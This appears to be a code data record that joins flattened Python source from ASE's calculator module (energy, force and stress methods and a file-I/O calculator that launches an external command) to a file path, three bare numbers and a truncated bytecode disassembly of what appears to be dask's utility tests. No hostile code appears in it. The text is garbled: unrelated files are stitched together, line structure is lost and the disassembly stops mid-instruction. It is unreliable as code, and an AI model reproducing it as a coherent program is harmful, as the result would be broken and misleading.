atoms from last calculation. parameters: Parameters object The parameter dictionary. results: dict Calculated properties like energy and forces. The FileIOCalculator.read() method will typically read atoms and parameters and get the results dict by calling the read_results() method.""" self.set_label(label) def get_atoms(self): if self.atoms is None: raise ValueError("Calculator has no atoms") atoms = self.atoms.copy() atoms.calc = self return atoms @classmethod def read_atoms(cls, restart, **kwargs): return cls(restart=restart, label=restart, **kwargs).get_atoms() def set(self, **kwargs): """Set parameters like set(key1=value1, key2=value2, ...). A dictionary containing the parameters that have been changed is returned. Subclasses must implement a set() method that will look at the chaneged parameters and decide if a call to reset() is needed. If the changed parameters are harmless, like a change in verbosity, then there is no need to call reset(). The special keyword 'parameters' can be used to read parameters from a file.""" if "parameters" in kwargs: filename = kwargs.pop("parameters") parameters = Parameters.read(filename) parameters.update(kwargs) kwargs = parameters changed_parameters = {} for key, value in kwargs.items(): oldvalue = self.parameters.get(key) if key not in self.parameters or not equal(value, oldvalue): changed_parameters[key] = value self.parameters[key] = value if self.discard_results_on_any_change and changed_parameters: self.reset() return changed_parameters def check_state(self, atoms, tol=1e-15): """Check for any system changes since last calculation.""" return compare_atoms( self.atoms, atoms, tol=tol, excluded_properties=set(self.ignored_changes) ) def get_potential_energy(self, atoms=None, force_consistent=False): energy = self.get_property("energy", atoms) if force_consistent: if "free_energy" not in self.results: name = self.__class__.__name__ raise PropertyNotImplementedError( 'Force consistent/free energy ("free_energy") ' "not provided by {0} calculator".format(name) ) return self.results["free_energy"] else: return energy def get_property(self, name, atoms=None, allow_calculation=True): if name not in self.implemented_properties: raise PropertyNotImplementedError( "{} property not implemented".format(name) ) if atoms is None: atoms = self.atoms system_changes = [] else: system_changes = self.check_state(atoms) if system_changes: self.reset() if name not in self.results: if not allow_calculation: return None self.calculate(atoms, [name], system_changes) if name not in self.results: raise PropertyNotImplementedError( "{} not present in this " "calculation".format(name) ) result = self.results[name] if isinstance(result, np.ndarray): result = result.copy() return result def calculation_required(self, atoms, properties): assert not isinstance(properties, str) system_changes = self.check_state(atoms) if system_changes: return True for name in properties: if name not in self.results: return True return False def calculate(self, atoms=None, properties=["energy"], system_changes=all_changes): """Do the calculation. properties: list of str List of what needs to be calculated. Can be any combination of 'energy', 'forces', 'stress', 'dipole', 'charges', 'magmom' and 'magmoms'. system_changes: list of str List of what has changed since last calculation. Can be any combination of these six: 'positions', 'numbers', 'cell', 'pbc', 'initial_charges' and 'initial_magmoms'. Subclasses need to implement this, but can ignore properties and system_changes if they want. Calculated properties should be inserted into results dictionary like shown in this dummy example:: self.results = {'energy': 0.0, 'forces': np.zeros((len(atoms), 3)), 'stress': np.zeros(6), 'dipole': np.zeros(3), 'charges': np.zeros(len(atoms)), 'magmom': 0.0, 'magmoms': np.zeros(len(atoms))} The subclass implementation should first call this implementation to set the atoms attribute and create any missing directories. """ if atoms is not None: self.atoms = atoms.copy() if not os.path.isdir(self._directory): os.makedirs(self._directory) def calculate_numerical_forces(self, atoms, d=0.001): """Calculate numerical forces using finite difference. All atoms will be displaced by +d and -d in all directions.""" from ase.calculators.test import numeric_force return np.array( [ [numeric_force(atoms, a, i, d) for i in range(3)] for a in range(len(atoms)) ] ) def calculate_numerical_stress(self, atoms, d=1e-6, voigt=True): """Calculate numerical stress using finite difference.""" stress = np.zeros((3, 3), dtype=float) cell = atoms.cell.copy() V = atoms.get_volume() for i in range(3): x = np.eye(3) x[i, i] += d atoms.set_cell(np.dot(cell, x), scale_atoms=True) eplus = atoms.get_potential_energy(force_consistent=True) x[i, i] -= 2 * d atoms.set_cell(np.dot(cell, x), scale_atoms=True) eminus = atoms.get_potential_energy(force_consistent=True) stress[i, i] = (eplus - eminus) / (2 * d * V) x[i, i] += d j = i - 2 x[i, j] = d x[j, i] = d atoms.set_cell(np.dot(cell, x), scale_atoms=True) eplus = atoms.get_potential_energy(force_consistent=True) x[i, j] = -d x[j, i] = -d atoms.set_cell(np.dot(cell, x), scale_atoms=True) eminus = atoms.get_potential_energy(force_consistent=True) stress[i, j] = (eplus - eminus) / (4 * d * V) stress[j, i] = stress[i, j] atoms.set_cell(cell, scale_atoms=True) if voigt: return stress.flat[[0, 4, 8, 5, 2, 1]] else: return stress def _deprecated_get_spin_polarized(self): msg = ( "This calculator does not implement get_spin_polarized(). " "In the future, calc.get_spin_polarized() will work only on " "calculator classes that explicitly implement this method or " "inherit the method via specialized subclasses." ) warnings.warn(msg, FutureWarning) return False def band_structure(self): """Create band-structure object for plotting.""" from ase.spectrum.band_structure import get_band_structure return get_band_structure(calc=self) def calculate_properties(self, atoms, properties): """This method is experimental; currently for internal use.""" for name in properties: if name not in all_outputs: raise ValueError(f"No such property: {name}") self.calculate(atoms, properties, system_changes=all_changes) props = self.export_properties() for name in properties: if name not in props: raise PropertyNotPresent(name) return props def export_properties(self): return Properties(self.results) class FileIOCalculator(Calculator): """Base class for calculators that write/read input/output files.""" command: Optional[str] = None "Command used to start calculation" def __init__( self, restart=None, ignore_bad_restart_file=Calculator._deprecated, label=None, atoms=None, command=None, **kwargs, ): """File-IO calculator. command: str Command used to start calculation. """ Calculator.__init__( self, restart, ignore_bad_restart_file, label, atoms, **kwargs ) if command is not None: self.command = command else: name = "ASE_" + self.name.upper() + "_COMMAND" self.command = os.environ.get(name, self.command) def calculate(self, atoms=None, properties=["energy"], system_changes=all_changes): Calculator.calculate(self, atoms, properties, system_changes) self.write_input(self.atoms, properties, system_changes) if self.command is None: raise CalculatorSetupError( "Please set ${} environment variable ".format( "ASE_" + self.name.upper() + "_COMMAND" ) + "or supply the command keyword" ) command = self.command if "PREFIX" in command: command = command.replace("PREFIX", self.prefix) try: proc = subprocess.Popen(command, shell=True, cwd=self.directory) except OSError as err: msg = 'Failed to execute "{}"'.format(command) raise EnvironmentError(msg) from err errorcode = proc.wait() if errorcode: path = os.path.abspath(self.directory) msg = ( 'Calculator "{}" failed with command "{}" failed in ' "{} with error code {}".format(self.name, command, path, errorcode) ) raise CalculationFailed(msg) self.read_results() def write_input(self, atoms, properties=None, system_changes=None): """Write input file(s). Call this method first in subclasses so that directories are created automatically.""" absdir = os.path.abspath(self.directory) if absdir != os.curdir and not os.path.isdir(self.directory): os.makedirs(self.directory) def read_results(self): """Read energy, forces, ... from output file(s).""" pass
data/ase-3.22.1/ase/calculators/calculator.py
14,141
8,996
45,779
LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST None IMPORT_NAME functools STORE_NAME functools LOAD_CONST 0 LOAD_CONST None IMPORT_NAME operator STORE_NAME operator LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pickle STORE_NAME pickle LOAD_CONST 0 LOAD_CONST ('array',) IMPORT_NAME array IMPORT_FROM array STORE_NAME array POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('curry',) IMPORT_NAME tlz IMPORT_FROM curry STORE_NAME curry POP_TOP LOAD_CONST 0 LOAD_CONST ('get',) IMPORT_NAME dask IMPORT_FROM get STORE_NAME get POP_TOP LOAD_CONST 0 LOAD_CONST ('HighLevelGraph',) IMPORT_NAME dask.highlevelgraph IMPORT_FROM HighLevelGraph STORE_NAME HighLevelGraph POP_TOP LOAD_CONST 0 LOAD_CONST ('SubgraphCallable',) IMPORT_NAME dask.optimization IMPORT_FROM SubgraphCallable STORE_NAME SubgraphCallable POP_TOP LOAD_CONST 0 LOAD_CONST ('Dispatch', 'M', 'SerializableLock', '_deprecated', 'asciitable', 'cached_cumsum', 'derived_from', 'ensure_bytes', 'ensure_dict', 'ensure_set', 'ensure_unicode', 'extra_titles', 'format_bytes', 'format_time', 'funcname', 'get_meta_library', 'getargspec', 'has_keyword', 'is_arraylike', 'itemgetter', 'iter_chunks', 'memory_repr', 'methodcaller', 'ndeepmap', 'parse_bytes', 'parse_timedelta', 'partial_by_order', 'random_state_data', 'skip_doctest', 'stringify', 'stringify_collection_keys', 'takes_multiple_arguments', 'tmpfile', 'typename') IMPORT_NAME dask.utils IMPORT_FROM Dispatch STORE_NAME Dispatch IMPORT_FROM M STORE_NAME M IMPORT_FROM SerializableLock STORE_NAME SerializableLock IMPORT_FROM _deprecated STORE_NAME _deprecated IMPORT_FROM asciitable STORE_NAME asciitable IMPORT_FROM cached_cumsum STORE_NAME cached_cumsum IMPORT_FROM derived_from STORE_NAME derived_from IMPORT_FROM ensure_bytes STORE_NAME ensure_bytes IMPORT_FROM ensure_dict STORE_NAME ensure_dict IMPORT_FROM ensure_set STORE_NAME ensure_set IMPORT_FROM ensure_unicode STORE_NAME ensure_unicode IMPORT_FROM extra_titles STORE_NAME extra_titles IMPORT_FROM format_bytes STORE_NAME format_bytes IMPORT_FROM format_time STORE_NAME format_time IMPORT_FROM funcname STORE_NAME funcname IMPORT_FROM get_meta_library STORE_NAME get_meta_library IMPORT_FROM getargspec STORE_NAME getargspec IMPORT_FROM has_keyword STORE_NAME has_keyword IMPORT_FROM is_arraylike STORE_NAME is_arraylike IMPORT_FROM itemgetter STORE_NAME itemgetter IMPORT_FROM iter_chunks STORE_NAME iter_chunks IMPORT_FROM memory_repr STORE_NAME memory_repr IMPORT_FROM methodcaller STORE_NAME methodcaller IMPORT_FROM ndeepmap STORE_NAME ndeepmap IMPORT_FROM parse_bytes STORE_NAME parse_bytes IMPORT_FROM parse_timedelta STORE_NAME parse_timedelta IMPORT_FROM partial_by_order STORE_NAME partial_by_order IMPORT_FROM random_state_data STORE_NAME random_state_data IMPORT_FROM skip_doctest STORE_NAME skip_doctest IMPORT_FROM stringify STORE_NAME stringify IMPORT_FROM stringify_collection_keys STORE_NAME stringify_collection_keys IMPORT_FROM takes_multiple_arguments STORE_NAME takes_multiple_arguments IMPORT_FROM tmpfile STORE_NAME tmpfile IMPORT_FROM typename STORE_NAME typename POP_TOP LOAD_CONST 0 LOAD_CONST ('inc',) IMPORT_NAME dask.utils_test IMPORT_FROM inc STORE_NAME inc POP_TOP LOAD_CONST <code object test_ensure_bytes at 0x7f8aa4c20ae0, file "f.py", line 54> LOAD_CONST 'test_ensure_bytes' MAKE_FUNCTION STORE_NAME test_ensure_bytes LOAD_CONST <code object test_ensure_bytes_ndarray at 0x7f8aa4c20420, file "f.py", line 62> LOAD_CONST 'test_ensure_bytes_ndarray' MAKE_FUNCTION STORE_NAME test_ensure_bytes_ndarray LOAD_CONST <code object test_ensure_bytes_pyarrow_buffer at 0x7f8aa4c20b70, file "f.py", line 68> LOAD_CONST 'test_ensure_bytes_pyarrow_buffer' MAKE_FUNCTION STORE_NAME test_ensure_bytes_pyarrow_buffer LOAD_CONST <code object test_ensure_unicode at 0x7f8aa4c20d20, file "f.py", line 75> LOAD_CONST 'test_ensure_unicode' MAKE_FUNCTION STORE_NAME test_ensure_unicode LOAD_CONST <code object test_ensure_unicode_ndarray at 0x7f8aa4c20540, file "f.py", line 83> LOAD_CONST 'test_ensure_unicode_ndarray' MAKE_FUNCTION STORE_NAME test_ensure_unicode_ndarray LOAD_CONST <code object test_ensure_unicode_pyarrow_buffer at 0x7f8aa4c20930, file "f.py", line 91> LOAD_CONST 'test_ensure_unicode_pyarrow_buffer' MAKE_FUNCTION STORE_NAME test_ensure_unicode_pyarrow_buffer LOAD_CONST <code object test_getargspec at 0x7f8aa4c20e40, file "f.py", line 99> LOAD_CONST 'test_getargspec' MAKE_FUNCTION STORE_NAME test_getargspec LOAD_CONST <code object test_takes_multiple_arguments at 0x7f8aac3da300, file "f.py", line 121> LOAD_CONST 'test_takes_multiple_arguments' MAKE_FUNCTION STORE_NAME test_takes_multiple_arguments LOAD_CONST <code object test_dispatch at 0x7f8aac3da810, file "f.py", line 152> LOAD_CONST 'test_dispatch' MAKE_FUNCTION STORE_NAME test_dispatch LOAD_CONST <code object test_dispatch_kwargs at 0x7f8aac3da0c0, file "f.py", line 177> LOAD_CONST 'test_dispatch_kwargs' MAKE_FUNCTION STORE_NAME test_dispatch_kwargs LOAD_CONST <code object test_dispatch_variadic_on_first_argument at 0x7f8aac3da420, file "f.py", line 184> LOAD_CONST 'test_dispatch_variadic_on_first_argument' MAKE_FUNCTION STORE_NAME test_dispatch_variadic_on_first_argument LOAD_CONST <code object test_dispatch_lazy at 0x7f8aac3daa50, file "f.py", line 193> LOAD_CONST 'test_dispatch_lazy' MAKE_FUNCTION STORE_NAME test_dispatch_lazy LOAD_CONST <code object test_dispatch_lazy_walks_mro at 0x7f8ab7617c00, file "f.py", line 213> LOAD_CONST 'test_dispatch_lazy_walks_mro' MAKE_FUNCTION STORE_NAME test_dispatch_lazy_walks_mro LOAD_CONST <code object test_random_state_data at 0x7f8ab7617420, file "f.py", line 245> LOAD_CONST 'test_random_state_data' MAKE_FUNCTION STORE_NAME test_random_state_data LOAD_CONST <code object test_memory_repr at 0x7f8ab76175d0, file "f.py", line 266> LOAD_CONST 'test_memory_repr' MAKE_FUNCTION STORE_NAME test_memory_repr LOAD_CONST <code object test_method_caller at 0x7f8ab7617660, file "f.py", line 271> LOAD_CONST 'test_method_caller' MAKE_FUNCTION STORE_NAME test_method_caller LOAD_CONST <code object test_skip_doctest at 0x7f8ab6bd59c0, file "f.py", line 284> LOAD_CONST 'test_skip_doctest' MAKE_FUNCTION STORE_NAME test_skip_doctest LOAD_CONST <code object test_extra_titles at 0x7f8ab6bd5c00, file "f.py", line 312> LOAD_CONST 'test_extra_titles' MAKE_FUNCTION STORE_NAME test_extra_titles LOAD_CONST <code object test_asciitable at 0x7f8ab6bd5a50, file "f.py", line 344> LOAD_CONST 'test_asciitable' MAKE_FUNCTION STORE_NAME test_asciitable LOAD_CONST <code object test_SerializableLock at 0x7f8ab6bd55d0, file "f.py", line 361> LOAD_CONST 'test_SerializableLock' MAKE_FUNCTION STORE_NAME test_SerializableLock LOAD_CONST <code object test_SerializableLock_name_collision at 0x7f8ab6bd5270, file "f.py", line 396> LOAD_CONST 'test_SerializableLock_name_collision' MAKE_FUNCTION STORE_NAME test_SerializableLock_name_collision LOAD_CONST <code object test_SerializableLock_locked at 0x7f8ab6bd5ae0, file "f.py", line 407> LOAD_CONST 'test_SerializableLock_locked' MAKE_FUNCTION STORE_NAME test_SerializableLock_locked LOAD_CONST <code object test_SerializableLock_acquire_blocking at 0x7f8ab6bd5f60, file "f.py", line 415> LOAD_CONST 'test_SerializableLock_acquire_blocking' MAKE_FUNCTION STORE_NAME test_SerializableLock_acquire_blocking LOAD_CONST <code object test_funcname at 0x7f8ab6bd5db0, file "f.py", line 422> LOAD_CONST 'test_funcname' MAKE_FUNCTION STORE_NAME test_funcname LOAD_CONST <code object test_funcname_long at 0x7f8ab6bd5d20, file "f.py", line 438> LOAD_CONST 'test_funcname_long' MAKE_FUNCTION STORE_NAME test_funcname_long LOAD_CONST <code object test_funcname_toolz at 0x7f8ab6bd5ed0, file "f.py", line 449> LOAD_CONST 'test_funcname_toolz' MAKE_FUNCTION STORE_NAME test_funcname_toolz LOAD_CONST <code object test_funcname_multipledispatch at 0x7f8ab6bd5930, file "f.py", line 458> LOAD_CONST 'test_funcname_multipledispatch' MAKE_FUNCTION STORE_NAME test_funcname_multipledispatch LOAD_CONST <code object test_funcname_numpy_vectorize at 0x7f8ab6bd5300, file "f.py", line 469> LOAD_CONST 'test_funcname_numpy_vectorize' MAKE_FUNCTION STORE_NAME test_funcname_numpy_vectorize LOAD_CONST <code object test_ndeepmap at 0x7f8ab6bd50c0, file "f.py", line 480> LOAD_CONST 'test_ndeepmap' MAKE_FUNCTION STORE_NAME test_ndeepmap LOAD_CONST <code object test_ensure_dict at 0x7f8ab68a5b70, file "f.py", line 497> LOAD_CONST 'test_ensure_dict' MAKE_FUNCTION STORE_NAME test_ensure_dict LOAD_CONST <code object test_ensure_set at 0x7f8ab68a51e0, file "f.py", line 514> LOAD_CONST 'test_ensure_set' MAKE_FUNCTION STORE_NAME test_ensure_set LOAD_CONST <code object test_itemgetter at 0x7f8ab68a5930, file "f.py", line 530> LOAD_CONST 'test_itemgetter' MAKE_FUNCTION STORE_NAME test_itemgetter LOAD_CONST <code object test_partial_by_order at 0x7f8ab68a5540, file "f.py", line 543> LOAD_CONST 'test_partial_by_order' MAKE_FUNCTION STORE_NAME test_partial_by_order LOAD_CONST <code object test_has_keyword at 0x7f8ab6781d20, file "f.py", line 547> LOAD_CONST 'test_has_keyword' MAKE_FUNCTION STORE_NAME test_has_keyword LOAD_CONST <code object test_derived_from at 0x7f8ab6781300, file "f.py", line 560> LOAD_CONST 'test_derived_from' MAKE_FUNCTION STORE_NAME test_derived_from LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR parametrize LOAD_CONST 'decorator' LOAD_NAME property LOAD_NAME functools LOAD_ATTR cached_property BUILD_LIST LOAD_CONST '@property' LOAD_CONST '@cached_property' BUILD_LIST LOAD_CONST ('ids',) CALL_FUNCTION LOAD_CONST <code object test_derived_from_prop_cached_prop at 0x7f8ab67818a0, file "f.py", line 597> LOAD_CONST 'test_derived_from_prop_cached_prop' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_derived_from_prop_cached_prop LOAD_CONST <code object test_derived_from_func at 0x7f8ab67810c0, file "f.py", line 625> LOAD_CONST 'test_derived_from_func' MAKE_FUNCTION STORE_NAME test_derived_from_func LOAD_CONST <code object test_derived_from_dask_dataframe at 0x7f8ab6781390, file "f.py", line 638> LOAD_CONST 'test_derived_from_dask_dataframe' MAKE_FUNCTION STORE_NAME test_derived_from_dask_dataframe LOAD_CONST <code object test_parse_bytes at 0x7f8ab6781c90, file "f.py", line 654> LOAD_CONST 'test_parse_bytes' MAKE_FUNCTION STORE_NAME test_parse_bytes LOAD_CONST <code object test_parse_timedelta at 0x7f8ab77c3b70, file "f.py", line 669> LOAD_CONST 'test_parse_timedelta' MAKE_FUNCTION STORE_NAME test_parse_timedelta LOAD_CONST <code object test_is_arraylike at 0x7f8ab77c3db0, file "f.py", line 709> LOAD_CONST 'test_is_arraylike' MAKE_FUNCTION STORE_NAME test_is_arraylike LOAD_CONST <code object test_iter_chunks at 0x7f8ab77c3d20, file "f.py", line 723> LOAD_CONST 'test_iter_chunks' MAKE_FUNCTION STORE_NAME test_iter_chunks LOAD_CONST <code object test_stringify at 0x7f8ab684be40, file "f.py", line 738> LOAD_CONST 'test_stringify' MAKE_FUNCTION STORE_NAME test_stringify LOAD_CONST <code object test_stringify_collection_keys at 0x7f8ab684b660, file "f.py", line 776> LOAD_CONST 'test_stringify_collection_keys' MAKE_FUNCTION STORE_NAME test_stringify_collection_keys LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'n,expect' LOAD_CONST (0, '0 B') LOAD_CONST (920, '920 B') LOAD_CONST (930, '0.91 kiB') LOAD_CONST (943339.52, '921.23 kiB') LOAD_CONST (953579.52, '0.91 MiB') LOAD_CONST (965979668.48, '921.23 MiB') LOAD_CONST (976465428.48, '0.91 GiB') LOAD_CONST (989163180523.52, '921.23 GiB') LOAD_CONST (999900598763.52, '0.91 TiB') LOAD_CONST (1012903096856084.5, '921.23 TiB') LOAD_CONST (1023898213133844.5, '0.91 PiB') LOAD_CONST (1152921504606846976, '1024.00 PiB') BUILD_LIST CALL_METHOD LOAD_CONST <code object test_format_bytes at 0x7f8ab684bdb0, file "f.py", line 787> LOAD_CONST 'test_format_bytes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_format_bytes LOAD_CONST <code object test_format_time at 0x7f8ab684b300, file "f.py", line 808> LOAD_CONST 'test_format_time' MAKE_FUNCTION STORE_NAME test_format_time LOAD_CONST <code object test_deprecated at 0x7f8ab684b4b0, file "f.py", line 820> LOAD_CONST 'test_deprecated' MAKE_FUNCTION STORE_NAME test_deprecated LOAD_CONST <code object test_deprecated_version at 0x7f8ab684b6f0, file "f.py", line 834> LOAD_CONST 'test_deprecated_version' MAKE_FUNCTION STORE_NAME test_deprecated_version LOAD_CONST <code object test_deprecated_after_version at 0x7f8ab684ba50, file "f.py", line 843> LOAD_CONST 'test_deprecated_after_version' MAKE_FUNCTION STORE_NAME test_deprecated_after_version LOAD_CONST <code object test_deprecated_category at 0x7f8ab684bc00, file "f.py", line 852> LOAD_CONST 'test_deprecated_category' MAKE_FUNCTION STORE_NAME test_deprecated_category LOAD_CONST <code object test_deprecated_message at 0x7f8ab684b0c0, file "f.py", line 861> LOAD_CONST 'test_deprecated_message' MAKE_FUNCTION STORE_NAME test_deprecated_message LOAD_CONST <code object test_typename at 0x7f8ab684bed0, file "f.py", line 873> LOAD_CONST 'test_typename' MAKE_FUNCTION STORE_NAME test_typename LOAD_BUILD_CLASS LOAD_CONST <code object MyType at 0x7f8ab684bc90, file "f.py", line 878> LOAD_CONST 'MyType' MAKE_FUNCTION LOAD_CONST 'MyType' CALL_FUNCTION STORE_NAME MyType LOAD_CONST <code object test_typename_on_instances at 0x7f8ab684b9c0, file "f.py", line 882> LOAD_CONST 'test_typename_on_instances' MAKE_FUNCTION STORE_NAME test_typename_on_instances LOAD_CONST <code object test_cached_cumsum at 0x7f8ab684b540, file "f.py", line 887> LOAD_CONST 'test_cached_cumsum' MAKE_FUNCTION STORE_NAME test_cached_cumsum LOAD_CONST <code object test_cached_cumsum_nan at 0x7f8aa43cbae0, file "f.py", line 895> LOAD_CONST 'test_cached_cumsum_nan' MAKE_FUNCTION STORE_NAME test_cached_cumsum_nan LOAD_CONST <code object test_cached_cumsum_non_tuple at 0x7f8ab684b5d0, file "f.py", line 904> LOAD_CONST 'test_cached_cumsum_non_tuple' MAKE_FUNCTION STORE_NAME test_cached_cumsum_non_tuple LOAD_CONST <code object test_tmpfile_naming at 0x7f8aa43cb540, file "f.py", line 911> LOAD_CONST 'test_tmpfile_naming' MAKE_FUNCTION STORE_NAME test_tmpfile_naming LOAD_CONST <code object test_get_meta_library at 0x7f8aa43cb930, file "f.py", line 923> LOAD_CONST 'test_get_meta_library' MAKE_FUNCTION STORE_NAME test_get_meta_library LOAD_CONST <code object test_get_meta_library_gpu at 0x7f8aa43cb030, file "f.py", line 941> LOAD_CONST 'test_get_meta_library_gpu' MAKE_FUNCTION STORE_NAME test_get_meta_library_gpu LOAD_CONST None RETURN_VALUE LOAD_CONST b'1' LOAD_CONST '1' LOAD_GLOBAL memoryview LOAD_CONST b'1' CALL_FUNCTION LOAD_GLOBAL bytearray LOAD_CONST b'1' CALL_FUNCTION LOAD_GLOBAL array LOAD_CONST 'B' LOAD_CONST b'1' CALL_FUNCTION BUILD_LIST STORE_FAST data SETUP_LOOP to 76 LOAD_FAST data GET_ITER FOR_ITER to 74 STORE_FAST d LOAD_GLOBAL ensure_bytes LOAD_FAST d CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_CONST b'1' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_GLOBAL ensure_bytes LOAD_FAST np LOAD_METHOD arange LOAD_CONST 12 CALL_METHOD CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'pyarrow' CALL_METHOD STORE_FAST pa LOAD_FAST pa LOAD_METHOD py_buffer LOAD_CONST b'123' CALL_METHOD STORE_FAST buf LOAD_GLOBAL ensure_bytes LOAD_FAST buf CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'1' LOAD_CONST '1' LOAD_GLOBAL memoryview LOAD_CONST b'1' CALL_FUNCTION LOAD_GLOBAL bytearray LOAD_CONST b'1' CALL_FUNCTION LOAD_GLOBAL array LOAD_CONST 'B' LOAD_CONST b'1' CALL_FUNCTION BUILD_LIST STORE_FAST data SETUP_LOOP to 76 LOAD_FAST data GET_ITER FOR_ITER to 74 STORE_FAST d LOAD_GLOBAL ensure_unicode LOAD_FAST d CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_CONST '1' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_FAST np LOAD_ATTR frombuffer LOAD_CONST b'123' LOAD_CONST 'u1' LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST a LOAD_GLOBAL ensure_unicode LOAD_FAST a CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_CONST '123' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'pyarrow' CALL_METHOD STORE_FAST pa LOAD_FAST pa LOAD_METHOD py_buffer LOAD_CONST b'123' CALL_METHOD STORE_FAST buf LOAD_GLOBAL ensure_unicode LOAD_FAST buf CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_CONST '123' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST <code object func at 0x7f8aa4c20a50, file "f.py", line 100> LOAD_CONST 'test_getargspec.<locals>.func' MAKE_FUNCTION STORE_FAST func LOAD_GLOBAL getargspec LOAD_FAST func CALL_FUNCTION LOAD_ATTR args LOAD_CONST 'x' LOAD_CONST 'y' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL functools LOAD_METHOD partial LOAD_FAST func LOAD_CONST 2 CALL_METHOD STORE_FAST func2 LOAD_GLOBAL getargspec LOAD_FAST func2 CALL_FUNCTION LOAD_ATTR args LOAD_CONST 'x' LOAD_CONST 'y' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST <code object wrapper at 0x7f8aa4c208a0, file "f.py", line 108> LOAD_CONST 'test_getargspec.<locals>.wrapper' MAKE_FUNCTION STORE_FAST wrapper LOAD_FAST func LOAD_FAST wrapper STORE_ATTR __wrapped__ LOAD_GLOBAL getargspec LOAD_FAST wrapper CALL_FUNCTION LOAD_ATTR args LOAD_CONST 'x' LOAD_CONST 'y' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object MyType at 0x7f8aa4c205d0, file "f.py", line 114> LOAD_CONST 'MyType' MAKE_FUNCTION LOAD_CONST 'MyType' CALL_FUNCTION STORE_FAST MyType LOAD_GLOBAL getargspec LOAD_FAST MyType CALL_FUNCTION LOAD_ATTR args LOAD_CONST 'self' LOAD_CONST 'x' LOAD_CONST 'y' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_getargspec.<locals>.MyType' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7f8aa4c20c90, file "f.py", line 115> LOAD_CONST 'test_getargspec.<locals>.MyType.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL takes_multiple_arguments LOAD_GLOBAL map CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL takes_multiple_arguments LOAD_GLOBAL sum CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST <code object multi at 0x7f8aa4c20780, file "f.py", line 125> LOAD_CONST 'test_takes_multiple_arguments.<locals>.multi' MAKE_FUNCTION STORE_FAST multi LOAD_BUILD_CLASS LOAD_CONST <code object Singular at 0x7f8aac3da9c0, file "f.py", line 128> LOAD_CONST 'Singular' MAKE_FUNCTION LOAD_CONST 'Singular' CALL_FUNCTION STORE_FAST Singular LOAD_BUILD_CLASS LOAD_CONST <code object Multi at 0x7f8aac3daed0, file "f.py", line 132> LOAD_CONST 'Multi' MAKE_FUNCTION LOAD_CONST 'Multi' CALL_FUNCTION STORE_FAST Multi LOAD_GLOBAL takes_multiple_arguments LOAD_FAST multi 